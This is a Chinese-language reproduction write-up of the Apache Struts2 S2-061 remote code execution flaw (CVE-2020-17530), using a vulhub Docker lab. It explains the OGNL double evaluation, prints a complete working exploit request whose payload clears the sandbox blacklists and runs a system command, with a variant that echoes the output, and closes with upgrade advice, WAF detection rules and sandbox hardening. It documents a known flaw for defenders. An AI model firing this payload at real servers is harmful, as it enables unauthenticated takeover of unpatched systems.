AI摘要

本文复现了Struts2 S2-061远程命令执行漏洞(CVE-2020-17530)。该漏洞利用OGNL双重解析和BeanMap反射绕过沙盒机制,影响版本2.0.0至2.5.25。文章详细阐述了漏洞原理、环境搭建及攻击Payload,并提供了修复建议。

漏洞概述

漏洞信息

项目内容
漏洞编号CVE-2020-17530
漏洞名称S2-061: Forced OGNL Double Evaluation via Tag Attributes
漏洞类型远程命令执行 (RCE)
CVSS 评分9.8 (CRITICAL)
攻击向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影响版本Struts 2.0.0 ~ 2.5.25
修复版本Struts 2.5.26+
利用条件目标使用了 Struts2 UI 标签,且标签属性值中存在%{...} 表达式且参数用户可控
发现者Steeve Barbeau、Alvaro Munoz (GitHub Security Lab)
披露时间2020-12-08

漏洞原理

OGNL 双重表达式解析

Apache Struts2 在渲染 JSP 页面时,会通过 OGNL(Object-Graph Navigation Language)表达式引擎对标签属性值进行求值。核心问题在于,Struts2 的某些 UI 标签(如 idname 等属性)在解析属性值时会发生二次 OGNL 解析

  1. 第一次解析:Struts2 解析 JSP 页面中的 %{x} 语法,将 x 替换为用户传入的参数值。例如 %{name}%{test}
  2. 第二次解析:Struts2 将第一次解析后的结果再次送入 OGNL 引擎执行,此时 %{test} 中的 test 会被当作 OGNL 表达式执行
核心漏洞链路:用户输入 → 标签属性 %{userInput} → Struts2 第一次解析(变量替换)→ 第二次解析(OGNL 求值)→ 代码执行
攻击者构造恶意参数
        │
        ▼
┌──────────────────────────┐
│   HTTP Request           │
│   POST /index.action     │
│   id=%{OGNL_PAYLOAD}     │
└──────────┬───────────────┘
           │
           ▼
┌──────────────────────────┐
│  参数绑定                  │
│  id = %{OGNL_PAYLOAD}    │
└──────────┬───────────────┘
           │
           ▼
┌──────────────────────────┐
│  Struts2 UI 标签渲染      │
│  <s:textfield id="%{id}"/>│
│  第一次替换:              │
│  id="%{OGNL_PAYLOAD}"    │
└──────────┬───────────────┘
           │
           ▼
┌──────────────────────────┐
│  二次 OGNL 解析 (漏洞点)  │
│  OgnlUtil.getValue()     │
│  执行恶意表达式           │
└──────────┬───────────────┘
           │
           ▼
        RCE!

S2-059 沙盒与 S2-061 绕过

Struts2 在 S2-059 之后引入了 OGNL 沙盒机制,通过 SecurityMemberAccess 类限制可调用的类和包:

  • excludedClasses:黑名单类(如 RuntimeProcessBuilder 等)
  • excludedPackageNames:黑名单包(如 java.lang 等)
  • allowStaticMethodAccess:默认 false,禁止静态方法调用

S2-061 的绕过思路:利用 org.apache.commons.collections.BeanMap 反射操作 SecurityMemberAccess 对象,清空黑名单

具体手法:

步骤OGNL 操作说明
1#instancemanager = #application["org.apache.tomcat.InstanceManager"]获取 Tomcat 的 InstanceManager,用于反射实例化对象
2#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]获取当前 ValueStack
3#bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")创建 BeanMap 实例,可任意读写 JavaBean 属性
4#bean.setBean(#stack)#context = #bean.get("context")通过 BeanMap 获取 OGNL 上下文
5#bean.setBean(#context)#macc = #bean.get("memberAccess")获取安全访问控制器SecurityMemberAccess
6#bean.setBean(#macc)#bean.put("excludedClasses", #emptyset)#bean.put("excludedPackageNames", #emptyset)清空黑名单,沙盒彻底失效
7#execute = #instancemanager.newInstance("freemarker.template.utility.Execute")实例化 Freemarker 的 Execute 工具类
8#execute.exec(#arglist)执行系统命令
S2-061 的本质是对 S2-059 沙盒的反射绕过——通过 BeanMap 间接操作 SecurityMemberAccess 的私有字段,从而解除所有类/包调用限制。

影响范围

版本范围状态
Struts 2.0.0 ~ 2.5.25受影响
Struts 2.5.26+已修复

利用条件

  • 应用使用了 Struts2 UI 标签(如 <s:textfield><s:label> 等),且标签属性值中包含 %{...} 表达式
  • 表达式内的参数值来自用户输入(GET/POST 参数),且未经过滤
  • 目标环境类路径下存在 commons-collectionsfreemarker 依赖(常见于 Tomcat 部署)

生态影响:国内外大量基于 Struts2 的企业级应用、政府网站、金融机构均受影响。由于攻击无需认证、复杂度低,被多个漏洞扫描器(Goby、XRay、Nuclei)收录为高危检测规则。


环境搭建

使用 vulhub 提供的 Docker 靶场快速构建复现环境:

# 克隆 vulhub 仓库(如已克隆则跳过)
git clone https://github.com/vulhub/vulhub.git

# 进入 S2-061 漏洞目录
cd vulhub/struts2/s2-061

# 启动靶场容器
docker-compose up -d

启动后访问 http://your-ip:8080/index.action 即可看到测试页面。

S2-061 靶场环境


漏洞复现

构造攻击请求

使用 Burp Suite 或其他 HTTP 客户端发送以下 multipart/form-data 请求:

POST /index.action HTTP/1.1
Host: 192.168.50.134:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

Payload 逐段解析

// 1. 获取 Tomcat InstanceManager,用于反射创建对象
#instancemanager = #application["org.apache.tomcat.InstanceManager"]

// 2. 获取当前请求的 ValueStack
#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]

// 3. 创建 BeanMap,可反射读写任意 JavaBean 的属性
#bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")

// 4. 通过 BeanMap 读取 ValueStack 的 "context" 属性 → 拿到 OGNL 上下文
#bean.setBean(#stack)
#context = #bean.get("context")

// 5. 通过 BeanMap 读取上下文中的 "memberAccess" → 拿到 SecurityMemberAccess
#bean.setBean(#context)
#macc = #bean.get("memberAccess")

// 6. 清空沙盒黑名单:excludedClasses 和 excludedPackageNames 均设为空 Set
#bean.setBean(#macc)
#emptyset = #instancemanager.newInstance("java.util.HashSet")
#bean.put("excludedClasses", #emptyset)
#bean.put("excludedPackageNames", #emptyset)

// 7. 构造参数列表并执行命令
#arglist = #instancemanager.newInstance("java.util.ArrayList")
#arglist.add("id")
#execute = #instancemanager.newInstance("freemarker.template.utility.Execute")
#execute.exec(#arglist)

参数说明

参数OGNL 变量说明
#instancemanagerorg.apache.tomcat.InstanceManagerTomcat 的对象实例化管理器
#stackValueStackStruts2 的值栈,贯穿整个请求生命周期
#beanorg.apache.commons.collections.BeanMapApache Commons Collections 的反射 Map 包装器
#contextOGNL ContextOGNL 上下文,持有所有运行时变量和安全配置
#maccSecurityMemberAccessOGNL 成员访问控制器,负责黑名单鉴权
#emptysetjava.util.HashSet空集合,用于覆盖黑名单
#arglistjava.util.ArrayList命令参数列表
#executefreemarker.template.utility.ExecuteFreemarker 模板引擎的命令执行工具类

执行结果

发送请求后,服务器返回 id 命令的输出,确认命令执行成功:

S2-061 执行 id 命令结果

命令回显(可选)

原始 payload 执行命令后无回显(盲执行)。如需回显,可将执行结果存入响应体:

// 将 id 命令输出存入 PageContext,利用 Struts2 模板渲染回显
#writer = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
#writer.println(#execute.exec(#arglist))
#writer.flush()
#writer.close()

延伸阅读

Struts2 S2 系列 OGNL RCE 漏洞对比

编号CVE漏洞原理影响版本利用方式
S2-045CVE-2017-5638Jakarta Multipart parser 异常处理中 OGNL 注入2.3.5 ~ 2.3.31 / 2.5 ~ 2.5.10Content-Type 请求头注入
S2-046CVE-2017-5638同 S2-045,利用Content-Disposition 文件名注入同上Content-Disposition 文件名注入
S2-057CVE-2018-11776命名空间(namespace)解析时 OGNL 注入2.3 ~ 2.3.34 / 2.5 ~ 2.5.16URL namespace 位置注入
S2-059CVE-2019-0230标签属性二次 OGNL 解析(首次引入沙盒)2.5.20 之前标签属性%{...} 注入
S2-061CVE-2020-17530S2-059 沙盒绕过(BeanMap 反射)2.0.0 ~ 2.5.25标签属性注入 + BeanMap 黑名单绕过
S2-062CVE-2021-31805S2-061 修复后的另一种沙盒绕过2.0.0 ~ 2.5.29#attr['struts.valueStack'] 上下文逃逸
S2-059/061/062 代表了 Struts2 在 OGNL 沙盒上与安全研究者的一场"攻防拉锯"——每一次修复引入新限制,研究者随即找到新的绕过路径。这也是动态表达式引擎在 Web 框架中的固有安全困境。

修复与加固建议

1. 升级版本(根本修复)

将 Struts2 升级至 2.5.26 及以上版本。官方在 2.5.26 中进一步加强了 SecurityMemberAccess,限制了通过反射绕过黑名单的路径(如禁止 BeanMap 等工具类访问 memberAccess)。

2. WAF 规则

针对 OGNL 表达式的特征字符在 WAF 上配置拦截规则:

# Nginx ModSecurity 示例规则
SecRule ARGS|REQUEST_HEADERS "%\{" \
  "id:10001,phase:2,deny,msg:'Struts2 OGNL Injection Attempt'"

SecRule ARGS "(#|%23)(context|memberAccess|_memberAccess|instancemanager)" \
  "id:10002,phase:2,deny,msg:'Struts2 SandBox Bypass Attempt'"

3. OGNL 沙盒加固

struts.xmlstruts.properties 中严格限制可访问的类:

# 阻止动态方法调用
struts.ognl.allowStaticMethodAccess = false

# 增加黑名单类
struts.excludedClasses = java.lang.Runtime,java.lang.ProcessBuilder,java.lang.System,freemarker.template.utility.Execute

# 增加黑名单包
struts.excludedPackageNamePatterns = ^freemarker\..*,^ognl\..*,^javax\.script\..*

参考文献

  1. NVD - CVE-2020-17530: https://nvd.nist.gov/vuln/detail/CVE-2020-17530
  2. Apache Struts 2 Wiki - S2-061: https://cwiki.apache.org/confluence/display/WW/S2-061
  3. Apache Struts 2 Wiki - S2-059: https://cwiki.apache.org/confluence/display/WW/S2-059
  4. Apache Struts 2 - Security Guide: https://struts.apache.org/security/
  5. OGNL - Apache Commons OGNL: https://commons.apache.org/proper/commons-ognl/
投币支持一下吧
END